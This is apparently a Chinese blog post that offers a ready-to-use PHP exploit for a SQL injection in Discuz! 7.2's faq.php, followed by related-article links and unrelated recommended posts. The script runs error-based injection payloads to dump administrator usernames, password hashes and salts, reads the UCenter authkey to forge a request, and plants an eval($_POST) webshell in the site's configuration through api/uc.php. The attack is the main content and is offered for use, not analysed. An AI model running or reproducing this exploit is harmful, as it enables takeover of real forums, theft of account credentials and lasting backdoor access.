Discuz! 7.2 SQL注入exp
已经有人写出一些工具了,但是感觉不怎么好用,就自己写了个。
参数:
1.可直接getshell
2.爆管理账号密码
3.爆表前缀
如果表前缀不是默认的cdb_ 只需更改代码中的 $table即可,方便快捷。
下载地址:DZ7.2
附代码:
<?php /** * @author: xiaoma * @blog : www.i0day.com * @date : 2014.7.2 23:1 */ error_reporting (0); set_time_limit(3000); $host = $argv [1]; $path = $argv [2]; $js = $argv [3]; $timestamp = time()+10*3600; $table = "cdb_" ; //表名 if ( $argc < 2) { print_r(' ******************************************************** * Discuz faq.php SQL Injection Exp * * ---------By:Www.i0day.com----------- * * Usage: php '.$argv[0].' url 1 * * ------------------------------------- * * js选项: 1.GetShell 2.取密码 3.查表前缀 * * * * php '.$argv[0].' Www.i0day.com / 1 * * php '.$argv[0].' Www.i0day.com /dz72/ 1 * * * * * ******************************************************** '); exit ; } if ( $js ==1){ $sql = "action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a3a,(select%20length(authkey)%20from%20" . $table . "uc_applications%20limit%200,1),0x3a3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23" ; $resp = sendpack( $host , $path , $sql ); if ( strpos ( $resp , "::" )==-1){ echo '表前缀可能不是默认cdb_ 请先查看表前缀!' ; } else { preg_match( "/::(.*)::/" , $resp , $matches ); $lenght = intval ( $matches [1]); if ( $lenght ){ if ( $lenght <=124){ $sql = "action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,1,62)%20from%20" . $table . "uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23" ; $resp = sendpack( $host , $path , $sql ); if ( strpos ( $resp , "1\^" )!=-1){ preg_match( "/1\^(.*)\'/U" , $resp , $key1 ); $sql = "action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,63,62)%20from%20" . $table . "uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23" ; $resp = sendpack( $host , $path , $sql ); preg_match( "/1\^(.*)\'/U" , $resp , $key2 ); $key = $key1 [1]. $key2 [1]; $code =urlencode(_authcode( "time=$timestamp&action=updateapps" , 'ENCODE' , $key )); $cmd1 ='<?xml version= "1.0" encoding= "ISO-8859-1" ?> <root> <item id= "UC_API" >bbs.49you.com\'); eval ( $_POST [i0day]); //</item> </root>'; $cmd2 ='<?xml version= "1.0" encoding= "ISO-8859-1" ?> <root> <item id= "UC_API" >bbs.49you.com</item> </root>'; $html1 = send( $cmd1 ); $res1 = substr ( $html1 ,-1); $html2 = send( $cmd2 ); $res2 = substr ( $html1 ,-1); if ( $res1 == '1' && $res2 == '1' ){ } } else { echo '获取失败' ; } } } } } elseif ( $js ==2){ $sql = "action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%280x5E5E5E,username,0x3a,password,0x3a,salt%29%20from%20" . $table . "uc_members%20limit%200,1%29,floor%28rand%280%29*2%29,0x5E%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23" ; $resp = sendpack( $host , $path , $sql ); if ( strpos ( $resp , "\^\^\^" )!=-1){ preg_match( "/\^\^\^(.*)\^/U" , $resp , $password ); echo '密码:' . $password [1]; } else { echo '表前缀可能不是默认cdb_ 请先查看表前缀!' ; } } elseif ( $js ==3){ $sql = "action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20hex(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),0x5E)x%20from%20information_schema%20.tables%20group%20by%20x)a)%23" ; $resp = sendpack( $host , $path , $sql ); if ( strpos ( $resp , "1\^" )!=-1){ preg_match( "/1\^(.*)\^/U" , $resp , $t ); if ( strpos ( $t [1], "cdb_" )!=-1){ echo "表名为:" .hex2str( $t [1]). " 表前缀为默认cdb_ 无需修改" ; } else { echo "表名:" .hex2str( $t [1]). ' 不是默认表名cdb_请自行修改代码中的$table' ; } } else { echo "查看表前缀失败,Sorry" ; } } else { echo "未选择脚本功能" ; } function sendpack( $host , $path , $sql , $js ){ $data = "GET " . $path . "/faq.php?" . $sql . " HTTP/1.1\r\n" ; $data .= "Host:" . $host . "\r\n" ; $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0\r\n" ; $data .= "Connection: close\r\n\r\n" ; //$data.=$html."\r\n"; $ock = fsockopen ( $host ,80); if (! $ock ){ echo "No response from " . $host ; die (); } fwrite( $ock , $data ); $resp = '' ; while (! feof ( $ock )) { $resp .= fread ( $ock , 1024); } return $resp ; } function send( $cmd ){ global $host , $code , $path ; $message = "POST " . $path . "/api/uc.php?code=" . $code . " HTTP/1.1\r\n" ; $message .= "Accept: */*\r\n" ; $message .= "Referer: " . $host . "\r\n" ; $message .= "Accept-Language: zh-cn\r\n" ; $message .= "Content-Type: application/x-www-form-urlencoded\r\n" ; $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n" ; $message .= "Host: " . $host . "\r\n" ; $message .= "Content-Length: " . strlen ( $cmd ). "\r\n" ; $message .= "Connection: Close\r\n\r\n" ; $message .= $cmd ; //var_dump($message); $fp = fsockopen ( $host , 80); fputs ( $fp , $message ); $resp = '' ; while ( $fp && ! feof ( $fp )) $resp .= fread ( $fp , 1024); return $resp ; } function _authcode( $string , $operation = 'DECODE' , $key = '' , $expiry = 0) { $ckey_length = 4; $key = md5( $key ? $key : UC_KEY); $keya = md5( substr ( $key , 0, 16)); $keyb = md5( substr ( $key , 16, 16)); $keyc = $ckey_length ? ( $operation == 'DECODE' ? substr ( $string , 0, $ckey_length ): substr (md5(microtime()), - $ckey_length )) : '' ; $cryptkey = $keya .md5( $keya . $keyc ); $key_length = strlen ( $cryptkey ); $string = $operation == 'DECODE' ? base64_decode ( substr ( $string , $ckey_length )) : sprintf( '%010d' , $expiry ? $expiry + time() : 0). substr (md5( $string . $keyb ), 0, 16). $string ; $string_length = strlen ( $string ); $result = '' ; $box = range(0, 255); $rndkey = array (); for ( $i = 0; $i <= 255; $i ++) { $rndkey [ $i ] = ord( $cryptkey [ $i % $key_length ]); } for ( $j = $i = 0; $i < 256; $i ++) { $j = ( $j + $box [ $i ] + $rndkey [ $i ]) % 256; $tmp = $box [ $i ]; $box [ $i ] = $box [ $j ]; $box [ $j ] = $tmp ; } for ( $a = $j = $i = 0; $i < $string_length ; $i ++) { $a = ( $a + 1) % 256; $j = ( $j + $box [ $a ]) % 256; $tmp = $box [ $a ]; $box [ $a ] = $box [ $j ]; $box [ $j ] = $tmp ; $result .= chr (ord( $string [ $i ]) ^ ( $box [( $box [ $a ] + $box [ $j ]) % 256])); } if ( $operation == 'DECODE' ) { if (( substr ( $result , 0, 10) == 0 || substr ( $result , 0, 10) - time() > 0) && substr ( $result , 10, 16) == substr (md5( substr ( $result , 26). $keyb ), 0, 16)) { return substr ( $result , 26); } else { return '' ; } } else { return $keyc . str_replace ( '=' , '' , base64_encode ( $result )); } } function hex2str( $hex ){ $str = '' ; $arr = str_split ( $hex , 2); foreach ( $arr as $bit ){ $str .= chr (hexdec( $bit )); } return $str ; } ?> |
转载文章请注明,转载自:小马's Bloghttp://www.i0day.com
本文链接: http://www.i0day.com/1756.html
Discuz! 7.2 SQL注入exp的更多相关文章
- Discuz <= 7.2 SQL注入漏洞详情
在<高级PHP应用程序漏洞审核技术>[1]一文里的"魔术引号带来的新的安全问题"一节里,有 提到通过提取魔术引号产生的“\”字符带来的安全问题,同样这个问题在这里又一次 ...
- discuz 7.2 faq.php sql注入了一些研究
6.2号码(可能更早)上网本见exp,是一家discuz 7.2的sql注入漏洞 经过反复研究.最高在线人数exp它们存在于这些或那些问题,经过我自己的使用和变更摘要,使用的方法如以下: Discuz ...
- Discuz 7.2 /faq.php SQL注入漏洞
测试方法: 提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! Discuz 7.2 /faq.php SQL注入漏洞 http://www.xxx.com/faq.php?a ...
- 然之协同系统6.4.1 SQL注入之exp编写
前言 前面已经说明了 漏洞成因,这里介绍一下 exp 的编写. 正文 为了 getshell 或者是 任意文件下载, 我们需要修改 数据库中的 前缀sys_file 表, 所以我们的利用方式如下 使用 ...
- 代码审计-Thinkphp3框架EXP表达式SQL注入
最近看java框架源码也是看的有点头疼,好多还要复习熟悉 还有好多事没做...慢慢熬. 网上好像还没有特别详细的分析 我来误人子弟吧. 0x01 tp3 中的exp表达式 查询表达式的使用格式: $m ...
- 【漏洞分析】Discuz! X系列全版本后台SQL注入漏洞
0x01漏洞描述 Discuz!X全版本存在SQL注入漏洞.漏洞产生的原因是source\admincp\admincp_setting.php在处理$settingnew['uc']['appid' ...
- Go--避免SQL注入
避免SQL注入 什么是SQL注入 SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞.可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出 ...
- 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 7.全局防护盲点的总结上篇
0x01 背景 现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等特殊字符进行转义.但仅仅使用这样的防护是存在很多盲点的,比如最经典的整型参数传递, ...
- 浅析白盒审计中的字符编码及SQL注入
尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范.但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如g ...
随机推荐
- OpenJDK1.8 安装
1. 安装JDK yum install -y java-1.8.0-openjdk-devel 2. 设置环境变量 /etc/profile文件增加 export JAVA_HOME=/usr/li ...
- 简单的实现QQ通信功能(二)
第二部分:功能需求以及大体思路 一:功能需求: 1. 角色:登录用户. 2. 登录: (1)检查用户名和密码是否正确,正确登录成功,否则提醒用户名或密码错误. (2)登录时可以选择登录状态,送入数据库 ...
- linux网卡混杂模式打开
有时候为嗅探到网络上的数据,需要将网卡设置到混杂模式.进入该模式将网络上的数据一并抓获,为此在设置nic的混杂模式的时候有诸多方法? 通过shell命令来实现:ifconfig eth1 promis ...
- 多版本uboot命令行分析
1.1.6 经典版本: 1.uboot第二阶段第一个函数void start_armboot (void),一路gd参数设置.设备初始化.控制台初始化.端口初始化,最后到main_loop ()命令行 ...
- A swift Tour(2) Control Flow
Control Flow 用 if 和 switch 来做条件语句,并且用for-in,for,while,和do-while做循环,条件和循环的括号是可以不写的,但是body外面的括号是必须写的 l ...
- Eclipse搭建服务器
一.首先,依次点击Window -->preferences-->Server-->Runtime environment -->add,再选择Apache,选择TOMcat的 ...
- 获取汉字拼音 Java
两种方法:一个是使用btye数组,一个是引入jar包进行操作. 1. public class CharacterParser { private static int[] pyvalue = new ...
- Spring中Bean实例的生命周期及其行为
- 00_ForTest
-----该页是爬虫的测试页请忽略------- 1234545@qq.comadasdsdasdsad阿打算多少其热情为 asdasdasdasd4w5wsdvv啊实打实大 啊实打实大asdasda ...
- 如何讓Android系統顯示CJK擴展區漢字
由於一些特殊需要,需要在個人設備上顯示CJK擴展區漢字,經多方詢問並驗證,找到了一下辦法,暫總結如下. 一.電腦上顯示 在電腦(Windows,Linux,Mac等系統)上可以通過安裝「花園明朝字體」 ...